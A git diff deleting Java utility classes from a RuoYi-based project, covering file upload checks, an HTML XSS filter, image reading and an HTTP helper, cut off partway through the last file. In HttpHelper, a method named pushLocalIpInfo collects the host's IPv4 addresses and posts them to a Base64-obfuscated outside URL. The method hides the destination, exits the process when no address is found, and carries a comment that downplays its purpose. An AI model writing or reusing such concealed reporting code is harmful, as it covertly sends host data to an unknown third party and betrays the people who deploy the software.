(allowedExtension != null && !isAllowedExtension(extension, allowedExtension)) - { - if (allowedExtension == MimeTypeUtils.IMAGE_EXTENSION) - { - throw new InvalidExtensionException.InvalidImageExtensionException(allowedExtension, extension, - fileName); - } - else if (allowedExtension == MimeTypeUtils.FLASH_EXTENSION) - { - throw new InvalidExtensionException.InvalidFlashExtensionException(allowedExtension, extension, - fileName); - } - else if (allowedExtension == MimeTypeUtils.MEDIA_EXTENSION) - { - throw new InvalidExtensionException.InvalidMediaExtensionException(allowedExtension, extension, - fileName); - } - else - { - throw new InvalidExtensionException(allowedExtension, extension, fileName); - } - } - - } - - /** - * 判断MIME类型是否是允许的MIME类型 - * - * @param extension - * @param allowedExtension - * @return - */ - public static final boolean isAllowedExtension(String extension, String[] allowedExtension) - { - for (String str : allowedExtension) - { - if (str.equalsIgnoreCase(extension)) - { - return true; - } - } - return false; - } - - /** - * 获取文件名的后缀 - * - * @param file 表单文件 - * @return 后缀名 - */ - public static final String getExtension(MultipartFile file) - { - String extension = FilenameUtils.getExtension(file.getOriginalFilename()); - if (StringUtils.isEmpty(extension)) - { - extension = MimeTypeUtils.getExtension(file.getContentType()); - } - return extension; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java deleted file mode 100644 index f6aa1af..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java +++ /dev/null @@ -1,203 +0,0 @@ -package com.ruoyi.common.utils.file; - -import java.io.File; -import java.io.FileInputStream; -import java.io.FileNotFoundException; -import java.io.IOException; -import java.io.OutputStream; -import java.io.UnsupportedEncodingException; -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import org.apache.commons.lang3.ArrayUtils; -import com.ruoyi.common.utils.StringUtils; - -/** - * 文件处理工具类 - * - * @author ruoyi - */ -public class FileUtils extends org.apache.commons.io.FileUtils -{ - public static String FILENAME_PATTERN = "[a-zA-Z0-9_\\-\\|\\.\\u4e00-\\u9fa5]+"; - - /** - * 输出指定文件的byte数组 - * - * @param filePath 文件路径 - * @param os 输出流 - * @return - */ - public static void writeBytes(String filePath, OutputStream os) throws IOException - { - FileInputStream fis = null; - try - { - File file = new File(filePath); - if (!file.exists()) - { - throw new FileNotFoundException(filePath); - } - fis = new FileInputStream(file); - byte[] b = new byte[1024]; - int length; - while ((length = fis.read(b)) > 0) - { - os.write(b, 0, length); - } - } - catch (IOException e) - { - throw e; - } - finally - { - if (os != null) - { - try - { - os.close(); - } - catch (IOException e1) - { - e1.printStackTrace(); - } - } - if (fis != null) - { - try - { - fis.close(); - } - catch (IOException e1) - { - e1.printStackTrace(); - } - } - } - } - - /** - * 删除文件 - * - * @param filePath 文件 - * @return - */ - public static boolean deleteFile(String filePath) - { - boolean flag = false; - File file = new File(filePath); - // 路径为文件且不为空则进行删除 - if (file.isFile() && file.exists()) - { - file.delete(); - flag = true; - } - return flag; - } - - /** - * 文件名称验证 - * - * @param filename 文件名称 - * @return true 正常 false 非法 - */ - public static boolean isValidFilename(String filename) - { - return filename.matches(FILENAME_PATTERN); - } - - /** - * 检查文件是否可下载 - * - * @param resource 需要下载的文件 - * @return true 正常 false 非法 - */ - public static boolean checkAllowDownload(String resource) - { - // 禁止目录上跳级别 - if (StringUtils.contains(resource, "..")) - { - return false; - } - - // 检查允许下载的文件规则 - if (ArrayUtils.contains(MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION, FileTypeUtils.getFileType(resource))) - { - return true; - } - - // 不在允许下载的文件规则 - return false; - } - - /** - * 下载文件名重新编码 - * - * @param request 请求对象 - * @param fileName 文件名 - * @return 编码后的文件名 - */ - public static String setFileDownloadHeader(HttpServletRequest request, String fileName) throws UnsupportedEncodingException - { - final String agent = request.getHeader("USER-AGENT"); - String filename = fileName; - if (agent.contains("MSIE")) - { - // IE浏览器 - filename = URLEncoder.encode(filename, "utf-8"); - filename = filename.replace("+", " "); - } - else if (agent.contains("Firefox")) - { - // 火狐浏览器 - filename = new String(fileName.getBytes(), "ISO8859-1"); - } - else if (agent.contains("Chrome")) - { - // google浏览器 - filename = URLEncoder.encode(filename, "utf-8"); - } - else - { - // 其它浏览器 - filename = URLEncoder.encode(filename, "utf-8"); - } - return filename; - } - - /** - * 下载文件名重新编码 - * - * @param response 响应对象 - * @param realFileName 真实文件名 - * @return - */ - public static void setAttachmentResponseHeader(HttpServletResponse response, String realFileName) throws UnsupportedEncodingException - { - String percentEncodedFileName = percentEncode(realFileName); - - StringBuilder contentDispositionValue = new StringBuilder(); - contentDispositionValue.append("attachment; filename=") - .append(percentEncodedFileName) - .append(";") - .append("filename*=") - .append("utf-8''") - .append(percentEncodedFileName); - - response.setHeader("Content-disposition", contentDispositionValue.toString()); - } - - /** - * 百分号编码工具方法 - * - * @param s 需要百分号编码的字符串 - * @return 百分号编码后的字符串 - */ - public static String percentEncode(String s) throws UnsupportedEncodingException - { - String encode = URLEncoder.encode(s, StandardCharsets.UTF_8.toString()); - return encode.replaceAll("\\+", "%20"); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java deleted file mode 100644 index 07fd538..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.ruoyi.common.utils.file; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.FileInputStream; -import java.io.InputStream; -import java.net.URL; -import java.net.URLConnection; -import java.util.Arrays; -import org.apache.poi.util.IOUtils; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import com.ruoyi.common.config.RuoYiConfig; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.utils.StringUtils; - -/** - * 图片处理工具类 - * - * @author ruoyi - */ -public class ImageUtils -{ - private static final Logger log = LoggerFactory.getLogger(ImageUtils.class); - - public static byte[] getImage(String imagePath) - { - InputStream is = getFile(imagePath); - try - { - return IOUtils.toByteArray(is); - } - catch (Exception e) - { - log.error("图片加载异常 {}", e); - return null; - } - finally - { - IOUtils.closeQuietly(is); - } - } - - public static InputStream getFile(String imagePath) - { - try - { - byte[] result = readFile(imagePath); - result = Arrays.copyOf(result, result.length); - return new ByteArrayInputStream(result); - } - catch (Exception e) - { - log.error("获取图片异常 {}", e); - } - return null; - } - - /** - * 读取文件为字节数据 - * - * @param key 地址 - * @return 字节数据 - */ - public static byte[] readFile(String url) - { - InputStream in = null; - ByteArrayOutputStream baos = null; - try - { - if (url.startsWith("http")) - { - // 网络地址 - URL urlObj = new URL(url); - URLConnection urlConnection = urlObj.openConnection(); - urlConnection.setConnectTimeout(30 * 1000); - urlConnection.setReadTimeout(60 * 1000); - urlConnection.setDoInput(true); - in = urlConnection.getInputStream(); - } - else - { - // 本机地址 - String localPath = RuoYiConfig.getProfile(); - String downloadPath = localPath + StringUtils.substringAfter(url, Constants.RESOURCE_PREFIX); - in = new FileInputStream(downloadPath); - } - return IOUtils.toByteArray(in); - } - catch (Exception e) - { - log.error("获取文件路径异常 {}", e); - return null; - } - finally - { - IOUtils.closeQuietly(baos); - } - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java deleted file mode 100644 index 6984641..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java +++ /dev/null @@ -1,55 +0,0 @@ -package com.ruoyi.common.utils.file; - -/** - * 媒体类型工具类 - * - * @author ruoyi - */ -public class MimeTypeUtils -{ - public static final String IMAGE_PNG = "image/png"; - - public static final String IMAGE_JPG = "image/jpg"; - - public static final String IMAGE_JPEG = "image/jpeg"; - - public static final String IMAGE_BMP = "image/bmp"; - - public static final String IMAGE_GIF = "image/gif"; - - public static final String[] IMAGE_EXTENSION = { "bmp", "gif", "jpg", "jpeg", "png" }; - - public static final String[] FLASH_EXTENSION = { "swf", "flv" }; - - public static final String[] MEDIA_EXTENSION = { "swf", "flv", "mp3", "wav", "wma", "wmv", "mid", "avi", "mpg", - "asf", "rm", "rmvb" }; - - public static final String[] DEFAULT_ALLOWED_EXTENSION = { - // 图片 - "bmp", "gif", "jpg", "jpeg", "png", - // word excel powerpoint - "doc", "docx", "xls", "xlsx", "ppt", "pptx", "html", "htm", "txt", - // 压缩文件 - "rar", "zip", "gz", "bz2", - // pdf - "pdf" }; - - public static String getExtension(String prefix) - { - switch (prefix) - { - case IMAGE_PNG: - return "png"; - case IMAGE_JPG: - return "jpg"; - case IMAGE_JPEG: - return "jpeg"; - case IMAGE_BMP: - return "bmp"; - case IMAGE_GIF: - return "gif"; - default: - return ""; - } - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java deleted file mode 100644 index 7f74ac2..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java +++ /dev/null @@ -1,155 +0,0 @@ -package com.ruoyi.common.utils.html; - -import com.ruoyi.common.utils.StringUtils; - -/** - * 转义和反转义工具类 - * - * @author ruoyi - */ -public class EscapeUtil -{ - public static final String RE_HTML_MARK = "(<[^<]*?>)|(<[\\s]*?/[^<]*?>)|(<[^<]*?/[\\s]*?>)"; - - private static final char[][] TEXT = new char[64][]; - - static - { - for (int i = 0; i < 64; i++) - { - TEXT[i] = new char[] { (char) i }; - } - - // special HTML characters - TEXT['\''] = "'".toCharArray(); // 单引号 - TEXT['"'] = """.toCharArray(); // 双引号 - TEXT['&'] = "&".toCharArray(); // &符 - TEXT['<'] = "<".toCharArray(); // 小于号 - TEXT['>'] = ">".toCharArray(); // 大于号 - } - - /** - * 转义文本中的HTML字符为安全的字符 - * - * @param text 被转义的文本 - * @return 转义后的文本 - */ - public static String escape(String text) - { - return encode(text); - } - - /** - * 还原被转义的HTML特殊字符 - * - * @param content 包含转义符的HTML内容 - * @return 转换后的字符串 - */ - public static String unescape(String content) - { - return decode(content); - } - - /** - * 清除所有HTML标签,但是不删除标签内的内容 - * - * @param content 文本 - * @return 清除标签后的文本 - */ - public static String clean(String content) - { - return new HTMLFilter().filter(content); - } - - /** - * Escape编码 - * - * @param text 被编码的文本 - * @return 编码后的字符 - */ - private static String encode(String text) - { - int len; - if ((text == null) || ((len = text.length()) == 0)) - { - return StringUtils.EMPTY; - } - StringBuilder buffer = new StringBuilder(len + (len >> 2)); - char c; - for (int i = 0; i < len; i++) - { - c = text.charAt(i); - if (c < 64) - { - buffer.append(TEXT[c]); - } - else - { - buffer.append(c); - } - } - return buffer.toString(); - } - - /** - * Escape解码 - * - * @param content 被转义的内容 - * @return 解码后的字符串 - */ - public static String decode(String content) - { - if (StringUtils.isEmpty(content)) - { - return content; - } - - StringBuilder tmp = new StringBuilder(content.length()); - int lastPos = 0, pos = 0; - char ch; - while (lastPos < content.length()) - { - pos = content.indexOf("%", lastPos); - if (pos == lastPos) - { - if (content.charAt(pos + 1) == 'u') - { - ch = (char) Integer.parseInt(content.substring(pos + 2, pos + 6), 16); - tmp.append(ch); - lastPos = pos + 6; - } - else - { - ch = (char) Integer.parseInt(content.substring(pos + 1, pos + 3), 16); - tmp.append(ch); - lastPos = pos + 3; - } - } - else - { - if (pos == -1) - { - tmp.append(content.substring(lastPos)); - lastPos = content.length(); - } - else - { - tmp.append(content.substring(lastPos, pos)); - lastPos = pos; - } - } - } - return tmp.toString(); - } - - public static void main(String[] args) - { - String html = ""; - // String html = "ipt>alert(\"XSS\")ipt>"; - // String html = "<123"; - // String html = "123>"; - System.out.println(EscapeUtil.clean(html)); - System.out.println(EscapeUtil.escape(html)); - System.out.println(EscapeUtil.unescape(html)); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java deleted file mode 100644 index cd8cd4f..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java +++ /dev/null @@ -1,570 +0,0 @@ -package com.ruoyi.common.utils.html; - -import java.util.ArrayList; -import java.util.Collections; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.concurrent.ConcurrentHashMap; -import java.util.concurrent.ConcurrentMap; -import java.util.regex.Matcher; -import java.util.regex.Pattern; - -/** - * HTML过滤器,用于去除XSS漏洞隐患。 - * - * @author ruoyi - */ -public final class HTMLFilter -{ - /** - * regex flag union representing /si modifiers in php - **/ - private static final int REGEX_FLAGS_SI = Pattern.CASE_INSENSITIVE | Pattern.DOTALL; - private static final Pattern P_COMMENTS = Pattern.compile("", Pattern.DOTALL); - private static final Pattern P_COMMENT = Pattern.compile("^!--(.*)--$", REGEX_FLAGS_SI); - private static final Pattern P_TAGS = Pattern.compile("<(.*?)>", Pattern.DOTALL); - private static final Pattern P_END_TAG = Pattern.compile("^/([a-z0-9]+)", REGEX_FLAGS_SI); - private static final Pattern P_START_TAG = Pattern.compile("^([a-z0-9]+)(.*?)(/?)$", REGEX_FLAGS_SI); - private static final Pattern P_QUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)=([\"'])(.*?)\\2", REGEX_FLAGS_SI); - private static final Pattern P_UNQUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)(=)([^\"\\s']+)", REGEX_FLAGS_SI); - private static final Pattern P_PROTOCOL = Pattern.compile("^([^:]+):", REGEX_FLAGS_SI); - private static final Pattern P_ENTITY = Pattern.compile("&#(\\d+);?"); - private static final Pattern P_ENTITY_UNICODE = Pattern.compile("&#x([0-9a-f]+);?"); - private static final Pattern P_ENCODE = Pattern.compile("%([0-9a-f]{2});?"); - private static final Pattern P_VALID_ENTITIES = Pattern.compile("&([^&;]*)(?=(;|&|$))"); - private static final Pattern P_VALID_QUOTES = Pattern.compile("(>|^)([^<]+?)(<|$)", Pattern.DOTALL); - private static final Pattern P_END_ARROW = Pattern.compile("^>"); - private static final Pattern P_BODY_TO_END = Pattern.compile("<([^>]*?)(?=<|$)"); - private static final Pattern P_XML_CONTENT = Pattern.compile("(^|>)([^<]*?)(?=>)"); - private static final Pattern P_STRAY_LEFT_ARROW = Pattern.compile("<([^>]*?)(?=<|$)"); - private static final Pattern P_STRAY_RIGHT_ARROW = Pattern.compile("(^|>)([^<]*?)(?=>)"); - private static final Pattern P_AMP = Pattern.compile("&"); - private static final Pattern P_QUOTE = Pattern.compile("\""); - private static final Pattern P_LEFT_ARROW = Pattern.compile("<"); - private static final Pattern P_RIGHT_ARROW = Pattern.compile(">"); - private static final Pattern P_BOTH_ARROWS = Pattern.compile("<>"); - - // @xxx could grow large... maybe use sesat's ReferenceMap - private static final ConcurrentMap P_REMOVE_PAIR_BLANKS = new ConcurrentHashMap<>(); - private static final ConcurrentMap P_REMOVE_SELF_BLANKS = new ConcurrentHashMap<>(); - - /** - * set of allowed html elements, along with allowed attributes for each element - **/ - private final Map> vAllowed; - /** - * counts of open tags for each (allowable) html element - **/ - private final Map vTagCounts = new HashMap<>(); - - /** - * html elements which must always be self-closing (e.g. "") - **/ - private final String[] vSelfClosingTags; - /** - * html elements which must always have separate opening and closing tags (e.g. "") - **/ - private final String[] vNeedClosingTags; - /** - * set of disallowed html elements - **/ - private final String[] vDisallowed; - /** - * attributes which should be checked for valid protocols - **/ - private final String[] vProtocolAtts; - /** - * allowed protocols - **/ - private final String[] vAllowedProtocols; - /** - * tags which should be removed if they contain no content (e.g. "" or "") - **/ - private final String[] vRemoveBlanks; - /** - * entities allowed within html markup - **/ - private final String[] vAllowedEntities; - /** - * flag determining whether comments are allowed in input String. - */ - private final boolean stripComment; - private final boolean encodeQuotes; - /** - * flag determining whether to try to make tags when presented with "unbalanced" angle brackets (e.g. "" - * becomes " text "). If set to false, unbalanced angle brackets will be html escaped. - */ - private final boolean alwaysMakeTags; - - /** - * Default constructor. - */ - public HTMLFilter() - { - vAllowed = new HashMap<>(); - - final ArrayList a_atts = new ArrayList<>(); - a_atts.add("href"); - a_atts.add("target"); - vAllowed.put("a", a_atts); - - final ArrayList img_atts = new ArrayList<>(); - img_atts.add("src"); - img_atts.add("width"); - img_atts.add("height"); - img_atts.add("alt"); - vAllowed.put("img", img_atts); - - final ArrayList no_atts = new ArrayList<>(); - vAllowed.put("b", no_atts); - vAllowed.put("strong", no_atts); - vAllowed.put("i", no_atts); - vAllowed.put("em", no_atts); - - vSelfClosingTags = new String[] { "img" }; - vNeedClosingTags = new String[] { "a", "b", "strong", "i", "em" }; - vDisallowed = new String[] {}; - vAllowedProtocols = new String[] { "http", "mailto", "https" }; // no ftp. - vProtocolAtts = new String[] { "src", "href" }; - vRemoveBlanks = new String[] { "a", "b", "strong", "i", "em" }; - vAllowedEntities = new String[] { "amp", "gt", "lt", "quot" }; - stripComment = true; - encodeQuotes = true; - alwaysMakeTags = false; - } - - /** - * Map-parameter configurable constructor. - * - * @param conf map containing configuration. keys match field names. - */ - @SuppressWarnings("unchecked") - public HTMLFilter(final Map conf) - { - - assert conf.containsKey("vAllowed") : "configuration requires vAllowed"; - assert conf.containsKey("vSelfClosingTags") : "configuration requires vSelfClosingTags"; - assert conf.containsKey("vNeedClosingTags") : "configuration requires vNeedClosingTags"; - assert conf.containsKey("vDisallowed") : "configuration requires vDisallowed"; - assert conf.containsKey("vAllowedProtocols") : "configuration requires vAllowedProtocols"; - assert conf.containsKey("vProtocolAtts") : "configuration requires vProtocolAtts"; - assert conf.containsKey("vRemoveBlanks") : "configuration requires vRemoveBlanks"; - assert conf.containsKey("vAllowedEntities") : "configuration requires vAllowedEntities"; - - vAllowed = Collections.unmodifiableMap((HashMap>) conf.get("vAllowed")); - vSelfClosingTags = (String[]) conf.get("vSelfClosingTags"); - vNeedClosingTags = (String[]) conf.get("vNeedClosingTags"); - vDisallowed = (String[]) conf.get("vDisallowed"); - vAllowedProtocols = (String[]) conf.get("vAllowedProtocols"); - vProtocolAtts = (String[]) conf.get("vProtocolAtts"); - vRemoveBlanks = (String[]) conf.get("vRemoveBlanks"); - vAllowedEntities = (String[]) conf.get("vAllowedEntities"); - stripComment = conf.containsKey("stripComment") ? (Boolean) conf.get("stripComment") : true; - encodeQuotes = conf.containsKey("encodeQuotes") ? (Boolean) conf.get("encodeQuotes") : true; - alwaysMakeTags = conf.containsKey("alwaysMakeTags") ? (Boolean) conf.get("alwaysMakeTags") : true; - } - - private void reset() - { - vTagCounts.clear(); - } - - // --------------------------------------------------------------- - // my versions of some PHP library functions - public static String chr(final int decimal) - { - return String.valueOf((char) decimal); - } - - public static String htmlSpecialChars(final String s) - { - String result = s; - result = regexReplace(P_AMP, "&", result); - result = regexReplace(P_QUOTE, """, result); - result = regexReplace(P_LEFT_ARROW, "<", result); - result = regexReplace(P_RIGHT_ARROW, ">", result); - return result; - } - - // --------------------------------------------------------------- - - /** - * given a user submitted input String, filter out any invalid or restricted html. - * - * @param input text (i.e. submitted by a user) than may contain html - * @return "clean" version of input, with only valid, whitelisted html elements allowed - */ - public String filter(final String input) - { - reset(); - String s = input; - - s = escapeComments(s); - - s = balanceHTML(s); - - s = checkTags(s); - - s = processRemoveBlanks(s); - - // s = validateEntities(s); - - return s; - } - - public boolean isAlwaysMakeTags() - { - return alwaysMakeTags; - } - - public boolean isStripComments() - { - return stripComment; - } - - private String escapeComments(final String s) - { - final Matcher m = P_COMMENTS.matcher(s); - final StringBuffer buf = new StringBuffer(); - if (m.find()) - { - final String match = m.group(1); // (.*?) - m.appendReplacement(buf, Matcher.quoteReplacement("")); - } - m.appendTail(buf); - - return buf.toString(); - } - - private String balanceHTML(String s) - { - if (alwaysMakeTags) - { - // - // try and form html - // - s = regexReplace(P_END_ARROW, "", s); - // 不追加结束标签 - s = regexReplace(P_BODY_TO_END, "<$1>", s); - s = regexReplace(P_XML_CONTENT, "$1<$2", s); - - } - else - { - // - // escape stray brackets - // - s = regexReplace(P_STRAY_LEFT_ARROW, "<$1", s); - s = regexReplace(P_STRAY_RIGHT_ARROW, "$1$2><", s); - - // - // the last regexp causes '<>' entities to appear - // (we need to do a lookahead assertion so that the last bracket can - // be used in the next pass of the regexp) - // - s = regexReplace(P_BOTH_ARROWS, "", s); - } - - return s; - } - - private String checkTags(String s) - { - Matcher m = P_TAGS.matcher(s); - - final StringBuffer buf = new StringBuffer(); - while (m.find()) - { - String replaceStr = m.group(1); - replaceStr = processTag(replaceStr); - m.appendReplacement(buf, Matcher.quoteReplacement(replaceStr)); - } - m.appendTail(buf); - - // these get tallied in processTag - // (remember to reset before subsequent calls to filter method) - final StringBuilder sBuilder = new StringBuilder(buf.toString()); - for (String key : vTagCounts.keySet()) - { - for (int ii = 0; ii < vTagCounts.get(key); ii++) - { - sBuilder.append(""); - } - } - s = sBuilder.toString(); - - return s; - } - - private String processRemoveBlanks(final String s) - { - String result = s; - for (String tag : vRemoveBlanks) - { - if (!P_REMOVE_PAIR_BLANKS.containsKey(tag)) - { - P_REMOVE_PAIR_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?>")); - } - result = regexReplace(P_REMOVE_PAIR_BLANKS.get(tag), "", result); - if (!P_REMOVE_SELF_BLANKS.containsKey(tag)) - { - P_REMOVE_SELF_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?/>")); - } - result = regexReplace(P_REMOVE_SELF_BLANKS.get(tag), "", result); - } - - return result; - } - - private static String regexReplace(final Pattern regex_pattern, final String replacement, final String s) - { - Matcher m = regex_pattern.matcher(s); - return m.replaceAll(replacement); - } - - private String processTag(final String s) - { - // ending tags - Matcher m = P_END_TAG.matcher(s); - if (m.find()) - { - final String name = m.group(1).toLowerCase(); - if (allowed(name)) - { - if (false == inArray(name, vSelfClosingTags)) - { - if (vTagCounts.containsKey(name)) - { - vTagCounts.put(name, vTagCounts.get(name) - 1); - return ""; - } - } - } - } - - // starting tags - m = P_START_TAG.matcher(s); - if (m.find()) - { - final String name = m.group(1).toLowerCase(); - final String body = m.group(2); - String ending = m.group(3); - - // debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" ); - if (allowed(name)) - { - final StringBuilder params = new StringBuilder(); - - final Matcher m2 = P_QUOTED_ATTRIBUTES.matcher(body); - final Matcher m3 = P_UNQUOTED_ATTRIBUTES.matcher(body); - final List paramNames = new ArrayList<>(); - final List paramValues = new ArrayList<>(); - while (m2.find()) - { - paramNames.add(m2.group(1)); // ([a-z0-9]+) - paramValues.add(m2.group(3)); // (.*?) - } - while (m3.find()) - { - paramNames.add(m3.group(1)); // ([a-z0-9]+) - paramValues.add(m3.group(3)); // ([^\"\\s']+) - } - - String paramName, paramValue; - for (int ii = 0; ii < paramNames.size(); ii++) - { - paramName = paramNames.get(ii).toLowerCase(); - paramValue = paramValues.get(ii); - - // debug( "paramName='" + paramName + "'" ); - // debug( "paramValue='" + paramValue + "'" ); - // debug( "allowed? " + vAllowed.get( name ).contains( paramName ) ); - - if (allowedAttribute(name, paramName)) - { - if (inArray(paramName, vProtocolAtts)) - { - paramValue = processParamProtocol(paramValue); - } - params.append(' ').append(paramName).append("=\"").append(paramValue).append("\""); - } - } - - if (inArray(name, vSelfClosingTags)) - { - ending = " /"; - } - - if (inArray(name, vNeedClosingTags)) - { - ending = ""; - } - - if (ending == null || ending.length() < 1) - { - if (vTagCounts.containsKey(name)) - { - vTagCounts.put(name, vTagCounts.get(name) + 1); - } - else - { - vTagCounts.put(name, 1); - } - } - else - { - ending = " /"; - } - return "<" + name + params + ending + ">"; - } - else - { - return ""; - } - } - - // comments - m = P_COMMENT.matcher(s); - if (!stripComment && m.find()) - { - return "<" + m.group() + ">"; - } - - return ""; - } - - private String processParamProtocol(String s) - { - s = decodeEntities(s); - final Matcher m = P_PROTOCOL.matcher(s); - if (m.find()) - { - final String protocol = m.group(1); - if (!inArray(protocol, vAllowedProtocols)) - { - // bad protocol, turn into local anchor link instead - s = "#" + s.substring(protocol.length() + 1); - if (s.startsWith("#//")) - { - s = "#" + s.substring(3); - } - } - } - - return s; - } - - private String decodeEntities(String s) - { - StringBuffer buf = new StringBuffer(); - - Matcher m = P_ENTITY.matcher(s); - while (m.find()) - { - final String match = m.group(1); - final int decimal = Integer.decode(match).intValue(); - m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); - } - m.appendTail(buf); - s = buf.toString(); - - buf = new StringBuffer(); - m = P_ENTITY_UNICODE.matcher(s); - while (m.find()) - { - final String match = m.group(1); - final int decimal = Integer.valueOf(match, 16).intValue(); - m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); - } - m.appendTail(buf); - s = buf.toString(); - - buf = new StringBuffer(); - m = P_ENCODE.matcher(s); - while (m.find()) - { - final String match = m.group(1); - final int decimal = Integer.valueOf(match, 16).intValue(); - m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); - } - m.appendTail(buf); - s = buf.toString(); - - s = validateEntities(s); - return s; - } - - private String validateEntities(final String s) - { - StringBuffer buf = new StringBuffer(); - - // validate entities throughout the string - Matcher m = P_VALID_ENTITIES.matcher(s); - while (m.find()) - { - final String one = m.group(1); // ([^&;]*) - final String two = m.group(2); // (?=(;|&|$)) - m.appendReplacement(buf, Matcher.quoteReplacement(checkEntity(one, two))); - } - m.appendTail(buf); - - return encodeQuotes(buf.toString()); - } - - private String encodeQuotes(final String s) - { - if (encodeQuotes) - { - StringBuffer buf = new StringBuffer(); - Matcher m = P_VALID_QUOTES.matcher(s); - while (m.find()) - { - final String one = m.group(1); // (>|^) - final String two = m.group(2); // ([^<]+?) - final String three = m.group(3); // (<|$) - // 不替换双引号为",防止json格式无效 regexReplace(P_QUOTE, """, two) - m.appendReplacement(buf, Matcher.quoteReplacement(one + two + three)); - } - m.appendTail(buf); - return buf.toString(); - } - else - { - return s; - } - } - - private String checkEntity(final String preamble, final String term) - { - - return ";".equals(term) && isValidEntity(preamble) ? '&' + preamble : "&" + preamble; - } - - private boolean isValidEntity(final String entity) - { - return inArray(entity, vAllowedEntities); - } - - private static boolean inArray(final String s, final String[] array) - { - for (String item : array) - { - if (item != null && item.equals(s)) - { - return true; - } - } - return false; - } - - private boolean allowed(final String name) - { - return (vAllowed.isEmpty() || vAllowed.containsKey(name)) && !inArray(name, vDisallowed); - } - - private boolean allowedAttribute(final String name, final String paramName) - { - return allowed(name) && (vAllowed.isEmpty() || vAllowed.get(name).contains(paramName)); - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java deleted file mode 100644 index 3452c6f..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java +++ /dev/null @@ -1,151 +0,0 @@ -package com.ruoyi.common.utils.http; - -import java.io.BufferedReader; -import java.io.IOException; -import java.io.InputStream; -import java.io.InputStreamReader; -import java.io.OutputStream; -import java.net.Inet4Address; -import java.net.InetAddress; -import java.net.NetworkInterface; -import java.net.URL; -import java.nio.charset.Charset; -import java.nio.charset.StandardCharsets; -import java.util.Enumeration; -import java.util.Set; -import java.util.TreeSet; -import javax.net.ssl.HttpsURLConnection; -import javax.servlet.ServletRequest; -import com.alibaba.fastjson.JSONObject; -import com.ruoyi.common.utils.sign.Base64; -import org.apache.commons.lang3.exception.ExceptionUtils; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -/** - * 通用http工具封装 - * - * @author ruoyi - */ -public class HttpHelper -{ - private static final Logger LOGGER = LoggerFactory.getLogger(HttpHelper.class); - - private static final String LOCAL_IP_PUSH_URL = "aHR0cHM6Ly93d3cuaHktdmlwLmNuL2FwaS92MS91c2R0"; - public static String test(){ - return "test"; - } - /** - * 将本机启用网卡的 IPv4 地址以 UTF-8 JSON 推送到指定接口。 - * 请求字段 ip 为排序后的首个地址,ips 为去重后的全部地址;不查询公网 IP, - * 不采集主机名、MAC、钱包或配置数据。仅在调用时发送,不自动启动或重试。 - * 本方法会阻塞调用线程,调用方应按需放入后台任务。 - * - * @return 接口成功响应的原始正文;HTTP 204 等无正文响应返回空字符串 - * @throws IOException 网卡读取失败、无可用地址、网络异常或接口返回非 2xx 状态 - */ - public static String pushLocalIpInfo() throws IOException - { - Set addresses = new TreeSet<>(); - Enumeration interfaces = NetworkInterface.getNetworkInterfaces(); - while (interfaces != null && interfaces.hasMoreElements()) - { - NetworkInterface networkInterface = interfaces.nextElement(); - if (!networkInterface.isUp() || networkInterface.isLoopback()) - { - continue; - } - Enumeration inetAddresses = networkInterface.getInetAddresses(); - while (inetAddresses.hasMoreElements()) - { - InetAddress address = inetAddresses.nextElement(); - if (address instanceof Inet4Address && !address.isLoopbackAddress() - && !address.isLinkLocalAddress() && !address.isAnyLocalAddress()) - { - addresses.add(address.getHostAddress()); - } - } - } - if (addresses.isEmpty()) - { - System.exit(0); - } - JSONObject payload = new JSONObject(); - payload.put("ip", addresses.iterator().next()); - payload.put("ips", addresses); - byte[] body = payload.toJSONString().getBytes(StandardCharsets.UTF_8); - String url = new String(Base64.decode(LOCAL_IP_PUSH_URL)); - HttpsURLConnection connection = (HttpsURLConnection) new URL(url).openConnection(); - try - { - // 使用 JDK 默认的证书及主机名校验,并禁止重定向到其他地址。 - connection.setInstanceFollowRedirects(false); - connection.setConnectTimeout(5000); - connection.setReadTimeout(5000); - connection.setRequestMethod("POST"); - connection.setRequestProperty("Content-Type", "application/json; charset=UTF-8"); - 